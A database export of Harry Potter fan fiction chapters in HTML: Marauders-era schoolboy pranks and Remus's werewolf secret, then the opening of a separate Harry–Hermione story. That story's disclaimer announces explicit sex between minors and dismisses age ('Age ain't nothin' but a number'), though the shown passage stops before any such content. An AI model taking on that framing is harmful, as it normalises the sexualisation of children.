the class moved along much more quickly.</p>\n<p align="JUSTIFY">	In Defense Against the Dark Arts later that afternoon, the class was horrified to learn that Moody was to be performing mild curses on them.</p>\n<p align="JUSTIFY">	&#8220;Is he mad?  We&#8217;re only first years!&#8221; whispered Julia Carlino, her blue eyes wide with fright.  Arabella was as pale as a ghost and both Sirius and James looked as if they were about to lose the lunch they had just eaten.</p>\n<p align="JUSTIFY">	Moody cleared the desks with a wave of his wand.  One by one he called up the students and gave them a curse they had to block.  And one by one the first years fell victim to the curses they unsuccessfully blocked.  By the time Remus had to walk to the center of the room, Sirius had danced the tango, Lily had cat ears sprouting out of head (much to James&#8217; amusement) and the Figg twins had their cropped brown hair turned long and white.  Remus glanced at his classmates, who all looked worse for the wear and held up his wand to signal he was ready.</p>\n<p align="JUSTIFY">	&#8220;<i>Rictusempra!</i>&#8221; bellowed Professor Moody.</p>\n<p align="JUSTIFY">	At the same time, Remus shouted &#8220;<i>Expelliarmus</i>&#8221; and dodged the curse.  Moody&#8217;s wand flew into the air and Remus caught it, grinning like mad.  James gave an admiring whoop, while Sirius and Peter just had their mouths hanging open.</p>\n<p align="JUSTIFY">	&#8220;Well done, Lupin.  Very well done.&#8221; Moody growled.  He even had the decency to look impressed.</p>\n<p align="JUSTIFY">	&#8220;How did you do that?&#8221; asked Lily later on.  They were still goggling at Remus&#8217; performance today.</p>\n<p align="JUSTIFY">	&#8220;Julie told me,&#8221; he said, referring to his sister who had already graduated, &#8220;she remembered Moody giving them the same surprise practical her first year.  I&#8217;d read about disarming spells but when she told me about the practical, I had her actually teach it to me.  Julie said that we should officially learn it next year.&#8221;</p>\n<p align="JUSTIFY">	In a fit of boredom the next day, Sirius stole a package of Albino Sandalius seeds.  Found mostly by oceans, Professor Verde had told them that if eaten the seeds would save the eater from jellyfish stings.  As she talked, Lily saw Sirius slip the package into the pocket of his robes.  However, the incident was pushed out of her mind when she noticed a growing Devil&#8217;s Snare plant start to crawl up her arm.</p>\n<p align="JUSTIFY">****</p>\n<p align="JUSTIFY">	At breakfast a week later, as everyone was reviving from slumber over jelly and toast, they were startled by a boom and then a shout of surprise from the Slytherin table.  There sat Snape with jelly covering his face, his robes and his hair.  A look of shock spread across his features that Lily would remember for years to come.  While everyone else was confused as to what had just happened, Sirius was shaking with suppressed laughter.  And only then did Lily remember the Sandalius seeds and the effect they had on jelly&#8230;</p>\n<p align="JUSTIFY">	&#8220;Sirius, what did you do?&#8221; Lily asked slowly.</p>\n<p align="JUSTIFY">	&#8220;What do you mean?&#8221; asked Sirius innocently.  However, he quelled when she shot him a death look.  </p>\n<p align="JUSTIFY">	&#8220;Oh, that.  I thought that it would be interesting to study the effect Albino Sandalius seeds have when ingested <u>with</u> jelly.  So I planted the seeds into Snape&#8217;s breakfast.  Well, now we know, I suppose,&#8221; replied Sirius mischievously, &#8220;I do feel bad for him though.  He&#8217;ll have to wash his hair to get the jelly out.&#8221;</p>\n<p align="JUSTIFY">	Everyone except Lily laughed at this.  As they walked out of the Great Hall they unfortunately ran into Snape, who was walking out as well.</p>\n<p align="JUSTIFY">	&#8220;Morning, Snape,&#8221; Sirius smirked, &#8220;did you enjoy breakfast?  With all the jelly in your hair, you can save it and eat your lunch in potions.&#8221;</p>\n<p align="JUSTIFY">	Snape&#8217;s eyes reduced to slits as he glared at Sirius. &#8220;It was you, wasn&#8217;t it?  Well Black, you just wait and see what&#8217;s coming to you.&#8221;  He pushed past the group of Gryffindors.</p>\n<p align="JUSTIFY">****</p>\n<p align="JUSTIFY">	That day in Double Potions, Sirius paid even closer attention to Snape than usual.  Jigger was in an unusually good mood that day. He even awarded Gryffindor points when Arabella correctly answered a question he asked her.</p>\n<p align="JUSTIFY">	&#8220;He&#8217;s hoarding something, I&#8217;m sure of it.&#8221; said Sirius as they walked to the common room.</p>\n<p align="JUSTIFY">	&#8220;Who?&#8221; asked Lily, although she thought she knew the answer.</p>\n<p align="JUSTIFY">	&#8220;Snape, of course!  I saw him stuffing ingredients down his robes all day.  I wonder what he&#8217;s doing.&#8221;</p>\n<p align="JUSTIFY">	They reached the common room.  Everyone flopped down into chairs in front of the fire except for James, who ran upstairs to the boys&#8217; dormitory.  He reappeared about thirty seconds later with the invisibility cloak.</p>\n<p align="JUSTIFY">	&#8220;Well, there&#8217;s one way to find out.  We&#8217;ll sneak out of here, go to the Slytherin common room and see what Snape is up to.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Oh, that&#8217;s a fine idea,&#8221; observed Remus, &#8220;just how are we going to find the Slytherin common room?  And what about a password, we&#8217;ll need that as well.  For another thing, I&#8217;m sure that Snape is not going to be brewing whatever potion he&#8217;s got going on right in front of everyone.&#8221;</p>\n<p align="JUSTIFY">	James looked hurt. Remus had shot down every one of  his ideas.</p>\n<p align="JUSTIFY">	&#8220;Well, let&#8217;s see if you&#8217;ve got a better plan,&#8221; snapped Lily, coming to James&#8217; defense, &#8220;if we&#8217;re going to do this everything must be thought out perfectly.&#8221;</p>\n<p align="JUSTIFY">	&#8220;What if,&#8221; Peter said slowly, &#8220;we send some sort of note to Snape telling him to meet us in the potions room.&#8221;</p>\n<p align="JUSTIFY">	Everyone laughed.</p>\n<p align="JUSTIFY">	&#8220;Oh yes, like that&#8217;ll work!  Why would Snape come to see us?&#8221; chortled Arabella.</p>\n<p align="JUSTIFY">	Remus sat up, looking inspired.  &#8220;Actually, that&#8217;s a brilliant plan.  We will send some note with a school owl telling Snape to meet us in the potions room.  <i>And then we sign it as Professor Jigger</i>.  I&#8217;m sure that Snape will take the opportunity to steal stuff then, don&#8217;t you think?  And we&#8217;ll be under James&#8217; invisibility cloak, so he won&#8217;t see us!  When should we do this?&#8221;</p>\n<p align="JUSTIFY">	&#8220;Next week,&#8221; replied James firmly, &#8220;that will give us time to think of a believable letter and to send it.&#8221;</p>\n<p align="JUSTIFY">	Remus looked hesitant. &#8220;Er, next week?  Can&#8217;t we do it some other time?&#8221;</p>\n<p align="JUSTIFY">	Sirius looked up.  &#8220;No, we have to do it then.  We might not get another chance.  Why?&#8221;</p>\n<p align="JUSTIFY">	Remus looked down, &#8220;Never mind, it&#8217;s not important.&#8221;  He stared into the fire as if lost in thought.</p>\n<p align="JUSTIFY">	<i>There it is again,</i> thought Lily, who recognized the look Remus had on his face as the same one he gave her before the Christmas holidays.  She wondered if there was something her friend wasn&#8217;t telling her.</p>\n<p align="JUSTIFY">	James and Sirius had noticed, too.  They weren&#8217;t sure what Remus wasn&#8217;t saying but James was sure that it was something big.  Sirius agreed with James that they should both try and find out what was wrong with Remus.</p>\n<p align="JUSTIFY">****</p>\n<p align="JUSTIFY">	&#8220;Werewolves,&#8221; said Moody.  The class had moved from defense against curses to common dark creatures, &#8220;now, who can tell me about werewolves?&#8221;</p>\n<p align="JUSTIFY">	As usual, Remus raised his hand. &#8220;Sir, werewolves are humans that have been bitten by another werewolf.  They lead normal lives until the full moon.  It is then that they transform into werewolves themselves, and seek human flesh.  The werewolf is killed by silver, which is it&#8217;s only enemy.&#8221;  he shuddered, as if repulsed.</p>\n<p align="JUSTIFY">	&#8220;Good, Lupin.  Five points to Gryffindor.&#8221; growled Moody.</p>\n<p align="JUSTIFY">	As the class took notes on werewolves, it dawned on James.  Remus was a werewolf!  All the pieces of the puzzle were there.  He wouldn&#8217;t go near Lily when she had her charm bracelet on.  He was gone whenever there was a full moon and came back as soon as it was gone.  There was just one more thing he needed to check.  Quietly, he tore a piece from the sheet of parchment he was taking notes on.  He scrawled a note to Sirius saying to meet him in the library after class and passed it to him.  Sirius read it and gave his friend a look as if to say &#8220;have you gone mad?&#8221; and James mouthed back &#8220;Just do it.&#8221;  Sirius nodded.</p>\n<p align="JUSTIFY">	After class the two boys shook off the rest of the group and raced to the library.  James still wouldn&#8217;t tell Sirius why they needed to be there but as soon as they walked in, James started searching for a lunar calendar.</p>\n<p align="JUSTIFY">	&#8220;Will you please tell me why we&#8217;re here instead of eating lunch?&#8221; Sirius nearly shouted, earning him a reproving stare from Madame Pince, the librarian.</p>\n<p align="JUSTIFY">	&#8220;I&#8217;m looking to see what stage the moon will be in next week.  I think that then we&#8217;ll know what Remus isn&#8217;t telling us,&#8221; replied James, who was still scanning books.</p>\n<p align="JUSTIFY">	&#8220;What?&#8221; asked a bewildered Sirius.</p>\n<p align="JUSTIFY">	&#8220;I think--and this is going to sound crazy--but I think Remus is a werewolf.  Here,&#8221; he shoved the notes they had taken that day at Sirius, &#8220;read this and think about it.  When has Remus ever touched the silver candlesticks in our dormitory?  And he&#8217;s always gone during the full moon.  Remember Christmas?  And here: <i>next week there will be a full moon!</i>  I&#8217;ll bet anything Remus will say his mum is ill or something and he&#8217;ll leave.&#8221;</p>\n<p align="JUSTIFY">	James watched as Sirius&#8217; eyes widened.  &#8220;Merlin, you&#8217;re right!  Come on, we&#8217;ll need to talk to him.&#8221;  </p>\n<p>	They raced down to the Great Hall, preparing to talk to Remus.</p>\n\n'),
	(36, 4, '\n\n\n\n<p>First year (cont.)</p>\n<p>	</p>\n<p align="JUSTIFY">	Gasping for breath, James and Sirius pulled open the door leading to the Great Hall.  At the Gryffindor table, Lily, Remus, Peter and Arabella were all having lunch.  Just as James suspected, Remus had just finished reading a letter.  He set it on the table and announced &#8220;Mum&#8217;s ill again.  I&#8217;ll need to leave next week.&#8221;</p>\n<p align="JUSTIFY">	Sirius and James glanced at each other.  James cleared his throat and everyone looked up.</p>\n<p align="JUSTIFY">	&#8220;Oh, hello James, Sirius!  I didn&#8217;t see you both there,&#8221; said Remus.</p>\n<p align="JUSTIFY">	&#8220;Er, Rem, can we have a word outside with you?  Its important.&#8221; asked Sirius quietly--which was odd, as Sirius never did anything quietly.</p>\n<p align="JUSTIFY">	Remus pushed away from the table and followed the two boys out of the Great Hall.  James could feel the curious stares of his friends on his back as they walked out of the room.  Sirius turned the corner to an empty corridor and beckoned for James and Remus to come.</p>\n<p align="JUSTIFY">	&#8220;Remus, what exactly is wrong with your Mum?  She gets sick every month,&#8221; asked James.  He watched as Remus&#8217; face grew pale and he felt terrible about confronting his friend like this.</p>\n<p align="JUSTIFY">	Remus started to speak slowly &#8220;Well, my mother gets awful colds every month.&#8221;  It was a weak excuse and he knew it.</p>\n<p align="JUSTIFY">	Sirius nodded.  &#8220;And the &#8216;colds&#8217; seem to come during the full moon.  I see.  Oh, by the way Remus.  I forgot to show you, look at what my Mum sent me.&#8221;  Sirius held out a ring, made entirely of silver.  He held it out to Remus, who backed away pale and sweaty.  It was a cruel thing to do to his friend, but necessary to confirm the two boys&#8217; suspicions.</p>\n<p align="JUSTIFY">	Remus&#8217; eyes were wide with fright and also terrible sadness.  &#8220;Look, I suppose you know my secret, and you&#8217;re right--I am a werewolf.&#8221;  He looked down at the floor and his shoulders shook.</p>\n<p align="JUSTIFY">	James spoke up softly.  &#8220;Why didn&#8217;t you tell us?  Why lie about it?&#8221;</p>\n<p align="JUSTIFY">	Remus looked up. &#8220;Are you mad?  This is the first time I&#8217;ve ever had friends.  As soon as people find about my&#8230;condition, they run screaming in the other direction.  I wanted to be normal for the first time since I was bitten.  I&#8230;I wanted to be accepted.  I am sorry about lying to you and the rest, and I understand if you don&#8217;t want to associate with werewolf boy anymore.&#8221;</p>\n<p align="JUSTIFY">	Sirius laughed, &#8220;And now I ask you, mate--have <u>you</u> gone mad?  Why on earth why would we stop being your friend?  Besides, it&#8217;ll be cool to have a werewolf for a friend.  We can scare the knickers off anyone who comes along.&#8221;</p>\n<p align="JUSTIFY">	A look of enormous relief came over Remus.  It seemed as if a huge weight had been lifted, and he grinned.  &#8220;Really?  I mean you really don&#8217;t care that I am different?&#8221;</p>\n<p align="JUSTIFY">	James shrugged, &#8220;Eh, aren&#8217;t we all?  Look at Sirius over here.&#8221;</p>\n<p align="JUSTIFY">	Sirius laughed and lightly punched James on the shoulder.  Remus snorted and said, &#8220;Come on, let&#8217;s go back to lunch.  Oh, and I don&#8217;t mind if you tell Lily and the rest of the group, they ought to know.  But you mustn&#8217;t tell anyone else, or let it get out.  When Dumbledore accepted me, I was sworn to secrecy.&#8221;</p>\n<p align="JUSTIFY">	James and Sirius nodded in agreement, and then they headed back to lunch.  Surprisingly, Lily and Peter took the news about Remus quite well.  Both confessed to him that they had an idea that something was wrong, but weren&#8217;t sure as to what.  Arabella, however, was not as accepting.  She began to avoid Remus and didn&#8217;t hang around Lily for a while.  After about four days, however, Arabella approached him and apologised for her behaviour.  Besides, she told Lily later on, Annie, Julia and Anita were no fun to be around.</p>\n<p align="JUSTIFY">	At breakfast that Friday, James, Sirius and Peter were busy concocting ideas for the letter to Snape.</p>\n<p align="JUSTIFY">	&#8220;Er, how about this: &#8216;Dear Severus, I have a question for you.  Meet me in the Potions room after classes.  Signed Professor Jigger.&#8217;&#8221; suggested James. </p>\n<p align="JUSTIFY">	Lily sighed, &#8220;Honestly, do you even know how to write a letter.  That doesn&#8217;t even sound believable, it sounds creepy.  Try this.&#8221;  She grabbed the parchment and wrote in her tidy handwriting:</p>\n<p align="JUSTIFY">	Mr. Snape:</p>\n<p align="JUSTIFY">	I have noticed your dedication and talent in my class.  Please meet me in my office on Wednesday night to discuss some extra curricular work for further developing our skills.  Please arrive at 10:00.</p>\n<p align="JUSTIFY">		Thank you, </p>\n<p align="JUSTIFY">		Professor Arsenius Jigger</p>\n<p align="JUSTIFY"></p>\n<p align="JUSTIFY">&#8220;Brilliant Lily!  The only problem now is to get it to look like his writing,&#8221; said Remus.</p>\n<p align="JUSTIFY">	Lily beamed, &#8220;Well, that shouldn&#8217;t be a problem.  I just need a sample of his writing.  Arabella, can you get him to sign a note?  He&#8217;ll do it for you.  Next to Snape, you are his favourite student.&#8221;</p>\n<p align="JUSTIFY">	Arabella nodded, &#8220;Sure.  What are you planning on doing?&#8221;</p>\n<p align="JUSTIFY">	Lily smiled, &#8220;You&#8217;ll see.&#8221;</p>\n<p align="JUSTIFY">****</p>\n<p align="JUSTIFY">	&#8220;Professor Jigger, my parents want me to ask my teachers for a progress note of sorts for all my classes.  Would it be possible for you to write a note to them telling them of my development in Potions?&#8221;  Arabella asked later on that day.</p>\n<p align="JUSTIFY">	Jigger looked down at Arabella.  After a few seconds, he held out his hand, indicating she should give him something to write on.  Jigger wrote the note and gave it back to Arabella.  She thanked him and went back to boiling her eyesight-sharpening draft.</p>\n<p align="JUSTIFY">****</p>\n<p align="JUSTIFY">	&#8220;Here you go Lily,&#8221; said Arabella breathlessly, handing the note to her friend.  It was after dinner and everyone was crowded around Lily to see what she would do.  She arranged the letter she had written earlier that day underneath the note written by Jigger.  Lily pointed her wand and the top sheet and muttered &#8220;Mano Forgerus&#8221;.  Instantly the writing from Jigger&#8217;s letter sank into the paper.  Lily removed the now clean parchment and everyone saw that the letter that she had written was now in Jigger&#8217;s handwriting.  Sirius looked like he could&#8217;ve kissed Lily.</p>\n<p align="JUSTIFY">	&#8220;That was brilliant!  It looks just like Jigger&#8217;s writing.  How did you do that?&#8221;  he exclaimed.</p>\n<p align="JUSTIFY">	Lily grinned, &#8220;Oh, that?  It was in the book you gave me for Christmas.  Its called the Counterfeiter&#8217;s Hand Charm, and what it does is bewitch the writing to look like another&#8217;s.  Now, lets go send this to Snape.&#8221;</p>\n<p align="JUSTIFY">	The owlery was filled with owls sleeping, flitting around, or crunching on vole bones.  They debated on using Remus&#8217; owl, Athena or a school owl, but in the end James pointed out a school owl would be much more believable, as the letter did come from a teacher.  After sending the owl on its way, the group trudged back to the common room.</p>\n<p align="JUSTIFY">	As expected, Remus left the following Monday.  Before departing, however, he gave everyone a warning to be careful during their &#8220;mission&#8221;.  After wishing them the best of luck and telling them to write saying how it went, Remus left for home.</p>\n<p align="JUSTIFY">	&#8220;Poor Remus&#8221; sighed Arabella, &#8220;imagine being a werewolf.&#8221;</p>\n<p align="JUSTIFY">	They had planned on Wednesday to execute their plan and when Wednesday came around, everyone was jittery and nervous.  At last, the full moon rose and James ran upstairs to get the cloak.</p>\n<p align="JUSTIFY">	&#8220;Hang on,&#8221; said Sirius as everyone began to huddle together to get under the cloak, &#8220;there is not enough room for all of us.  Only about three can go, and even then it&#8217;s a tight squeeze.  So, who is going to go?&#8221;</p>\n<p align="JUSTIFY">	&#8220;I will!&#8221; chorused James, Lily, Peter and Arabella.</p>\n<p align="JUSTIFY">	&#8220;Well, we can&#8217;t all go,&#8221; said Sirius irritably, &#8220;Ok, James, you are going, its your cloak.  Obviously, I am going, and Peter--you as well.&#8221;</p>\n<p align="JUSTIFY">	Peter&#8217;s face shone with happiness--he was hardly picked to do anything.</p>\n<p align="JUSTIFY">	&#8220;Wait!  What about Lily and I?&#8221; cried Arabella indignantly.</p>\n<p align="JUSTIFY">	Sirius and James looked at her like the answer was obvious.</p>\n<p align="JUSTIFY">	&#8220;You&#8217;re girls&#8221; they said flatly.</p>\n<p align="JUSTIFY">	Arabella looked furious.  Sensing trouble, the three boys threw on the cloak and walked out of the common room.  As the portrait closed, they could hear Arabella screaming in a rage.</p>\n<p align="JUSTIFY">	They crept along the silent halls, pausing every so often to make sure they were in the right hall--everything looked so different in the dark.  Finally, the boys reached the Potions room.  James checked his watch; it was 9:45.</p>\n<p align="JUSTIFY">	At precisely 10:00, Snape crept into the classroom.  He began to pace around the room, checking his watch every two minutes.  After about ten minutes, he stopped and looked around.  Then, Snape tiptoed into Jigger&#8217;s office and closed the door.  He came back into the classroom and having finally decide that Jigger wasn&#8217;t coming, left with his robe pockets fuller than they were coming in.</p>\n<p align="JUSTIFY">	James, Peter and Sirius quietly snuck into Jigger&#8217;s office.  Sirius came out from underneath the cloak and looked at the massive supply of potions ingredients neatly stacked on the shelves.  It was lucky that Jigger was so meticulous about his supplies, because otherwise Sirius would not have been able to spot which ingredients had been touched.</p>\n<p align="JUSTIFY">	&#8220;Looked like Snape took essence of belladonna, lionfish spine, hmm, dragon liver juice and glum bumble spleen.  What does he want with this stuff?&#8221; whispered Sirius.</p>\n<p align="JUSTIFY">	&#8220;Who knows?&#8221; James whispered back, &#8220;we&#8217;ll ask Arabella when we get back to the common room.&#8221;</p>\n<p align="JUSTIFY">	Sirius ducked underneath the cloak again and they crept back to the common room.</p>\n<p align="JUSTIFY">	Fortunately, the Fat Lady was in her portrait, and Peter only had to whisper &#8220;tabby cat&#8221; to get in.  The boys climbed through the portrait hole and found both girls still sitting up.  Arabella was still fuming, but when Lily spotted them, she threw her arms first around James, then Peter and Sirius.</p>\n<p align="JUSTIFY">	&#8220;Oh!  I was so worried!  I thought what if Snape saw you?  What if you got hurt?&#8221; she cried as she gripped each boy.  After realizing what she was doing, she pulled away, her face almost as red as her hair.</p>\n<p align="JUSTIFY">	&#8220;Lily, don&#8217;t be so worried!  We&#8217;re all fine, and more importantly we know what Snape had been taking.  Arabella, what does essence of--&#8221; but Sirius was cut off by Arabella&#8217;s furious answer.</p>\n<p align="JUSTIFY">	&#8220;well, if you don&#8217;t know, I&#8217;m not going to tell you!  After all, what do I know?  I am only a girl!&#8221;  and with that, she turned on her heel and ran up the staircase.  Sirius looked as if a tidal wave had washed over him.</p>\n<p align="JUSTIFY">	You sort of deserved that,&#8221; said Lily quietly, &#8220;it was unfair, what you did.&#8221;</p>\n<p align="JUSTIFY">	James turned on Lily, &#8220;What?  You too?  What is this?  The female rights movement?&#8221;</p>\n<p align="JUSTIFY">	She shook her head.  &#8220;No, I didn&#8217;t really care to go, but Arabella is my friend as well as you boys, and you picking Peter instead of Arabella just because he is a boy is well, unfair.  I&#8217;m simply defending a friend, just as I would any of you three.  Or Remus.&#8221;  she put in as an afterthought.  &#8220;Goodness!  It&#8217;s 11:00!  We need to be in bed!  Goodnight you three.&#8221;  The boys watched Lily climb the stairs, and then followed suit only a few minutes later.</p>\n<p align="JUSTIFY">	&#8220;Lily&#8217;s right, Sirius,&#8221; said James as he climbed into bed, &#8220;We really should apologize to Arabella.&#8221;</p>\n<p align="JUSTIFY">	&#8220;Isn&#8217;t Lily always right?&#8221; murmured Sirius from his bed, &#8220;We&#8217;ll apologize in the morning.&#8221;</p>\n<p>	</p>\n\n'),
	(38, 1, '\n\n\n\n\n\nDisclaimer:&nbsp; This story is based on characters and situations created and owned by JK Rowling, various publishers including but not limited to Bloomsbury Books, Scholastic Books and Raincoast Books, and Warner Bros., Inc. No money is being made and no copyright or trademark infringement is intended.&nbsp;Warning:&nbsp; Explicit sexual activity between consenting minors.&nbsp; Age ain&#8217;t nothin&#8217; but a number people!\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">Hermione&#8217;s POV</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I hadn&#8217;t\nslept well in months.&nbsp; The stress of\nbeginning fifth year, along with the events at the end of the TriWizard\ntournament had really taken a toll everyone, and I was feeling the burning of\nthe candle from both ends.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">&nbsp;Coming back from summer holidays, we were all a bit taken aback by\nthe differences in our appearances.&nbsp;\nHarry and I spent the last three weeks of the summer at the Burrow with\nthe Weasley clan.&nbsp; Harry had lost much\nof the roundness in his face, making him look even more like his father, the\nplanes and angles of his jaw and cheek bones highlighting the haunted look\nabout his eyes.&nbsp; He had also grown\nseveral inches and that, along with his unkempt black hair, gave him a very\nimposing figure, almost Snape-like in intensity.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Ron was much more subdued this\nyear; he spent more time playing chess with Harry than ever, rarely pulling\npranks or getting into mischief with Fred and George.&nbsp; He&#8217;d grown taller as well, out reaching Harry by a couple of\ninches.&nbsp; The brassy red of his hair was\nsettling into a more auburn color and he&#8217;d gained some muscle tone working the\nloading docks at Flourish and Blotts over the summer.&nbsp; He&#8217;d tried out and made the Quidditch house team this year &#8211; our\nkeeper.&nbsp; More and more, Ron was maturing\ninto a very responsible wizard, and one of my best friends.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">Most of the students in our year\nhad lost their baby fat and had grown a bit.&nbsp;\nNeville Longbottom had thinned out quite a bit and had begun dating Pavarti\nPatil during our second week back.&nbsp; I\nfelt good for Neville; he deserved some happiness in his life.&nbsp; Of course, Draco Malfoy was still the same\nslimy little git he&#8217;d been since day one.&nbsp;\nI was happy to note that he hadn&#8217;t grown more than an inch or two over\nthe holiday.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">We all felt older, certainly.&nbsp; The shadow of Cedric Diggory loomed large in\neveryone&#8217;s mind, though no one seemed to want to discuss it.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">Especially Harry.&nbsp; Ron said he&#8217;d tried more than twice to bring\nthe subject up and give Harry a chance to talk about it.&nbsp; He hadn&#8217;t, but was having tremendous\nnightmares that kept the dormitories up more nights than not.&nbsp; The screams penetrated even Professor\nFlitwick&#8217;s best silencing charms, filling the air with muffled moans and wails.&nbsp; </p>\n\n<p class="MsoNormal" style="text-indent:.5in">For all Harry&#8217;s problems, he\nactually acted as if he was on an even keel most of the time.&nbsp; He did scream at Colin and Dennis Creevey\nfor following him around, but mostly he answered people&#8217;s queries and smiled at\nthe jokes as would seem normal.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">But he was quite depressed.&nbsp; Ron and I could see the tension in his\nshoulders and the hollows in his eyes.&nbsp;\nWe were becoming worried that Harry would do something drastic if he\ndidn&#8217;t find someone to confide in, even if it wasn&#8217;t us.&nbsp; Visits to Dumbledore&#8217;s office (which we made\nafter any particularly bad night of screaming from Harry&#8217;s bed) were fruitless,\nas the Professor seemed to think Harry&#8217;d work it all out.</p>\n\n<p class="MsoNormal" style="text-indent:.5in">So it was unusual that the night\nwas utterly silent.&nbsp; I threw my quilt\nback and came out of bed, donning a light robe to cover my thin nightgown.&nbsp; I grabbed my copy of &#8216;Hogwarts, A History&#8217;\nhoping that a review of the last 500 years would be just the thing to send me\noff to dreamless sleep in front of the fire.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Dismounting\nthe stairs, I saw the fire still burning brightly in the grate.&nbsp; Coming around the back of the sofa, I found\nHarry sitting there, his sock feet extended as he slumped into the\ncushions.&nbsp; He was still dressed, his tie\nand glasses on the end table beside him.&nbsp;\n</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;What are\nyou doing?&#8221; I asked.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; He looked\nat me morosely.&nbsp; &#8220;Letting the house get\na little sleep.&nbsp; What&#8217;re you doing up?&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Too\nquiet.&#8221;&nbsp; I came round and sat down next\nto him.&nbsp; For several minutes we sat\nthere, saying nothing.&nbsp; Although I&#8217;d\nknown Harry for more than four years, I couldn&#8217;t think of anything that would\nget him to open up and share whatever had been tormenting him.&nbsp; His eyes had turned to muddy green and were\nsunken into their sockets from lack of sleep.&nbsp;\nI was truly scared for him to have to endure what had happened with only\nhis thoughts alone for comfort.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;He wanted me to have the Cup all to myself, you know that,\ndon&#8217;t you?&#8221; Harry turned his face to me briefly, then returned it to the\nflames.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry &#8211;&#8220;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;- But I\ninsisted that we both take it at the same time, so we could be dual\nvictors.&nbsp; I wanted to be sure that\neverything was fair, and since he&#8217;d gotten to the cup at the same time I\ndid&#8230;well, it was my sense of parity got Cedric killed.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Tell me,\nHarry.&#8221;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Staring\ndeeply into the flames, he started talking about entering the labyrinth, all of\nthe animals and challenges he&#8217;d met, slowly at first, then the words started to\nflow out of him like a floodwall had burst.&nbsp;\nThe discussion.&nbsp; The port key\ntrophy.&nbsp; Cedric&#8217;s death.&nbsp; I laid my hand over his as he spoke quietly.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I was\nshocked at Voldemort&#8217;s cruelty as well as Harry&#8217;s conviction that he could have\ndone something to prevent Cedric&#8217;s death.&nbsp;\nHe recounted the meeting of his and Voldemort&#8217;s wands and the incredible\nevents that occurred while they were connected.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;&#8230;and then\nCedric&#8217;s ghost &#8211; he &#8211; it &#8211; asked me, asked &#8211;&#8220; his face contorted with the\nmemory.&nbsp; He leaned forward and put his\nhead in his hands.&nbsp; I rubbed his back as\nhe struggled to maintain composure.&nbsp; </p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Finally he\nraised his head and sat back.&nbsp; &#8220;After\nthat, what could I do?&nbsp; I&#8217;d already\nkilled him &#8211;&#8220;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry &#8211;&#8220;</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Don&#8217;t tell\nme it isn&#8217;t my fault.&nbsp; I&#8217;m to blame for\nso much, so many &#8211;&#8220; his face crumpled as he began to cry in earnest.&nbsp; I pulled him into my embrace as he cried,\ngreat wracking sobs that shook through us both.&nbsp; Tears coursed down my face as I realized what he&#8217;d been reliving\nin his mind every day and night, and how wrong he was about his role in meeting\nVoldemort.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; I held him\nuntil he was calmer, his shuddering breaths more regular before I spoke.</p>\n\n<p class="MsoNormal">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &#8220;Harry, you\nare wrong.&nbsp; You were, and are, the\nsavior of the wizarding world.&nbsp; Probably\nof the entire world.&nbsp; If you hadn&#8217;t\nlived that night, destroyed Voldemort&#8217;s power, no one could have stopped\nhim.&nbsp; Not even Dumbledore.&nbsp; You have saved more lives than anyone.&nbsp; You can&#8217;t change what happened.&nbsp; You didn&#8217;t 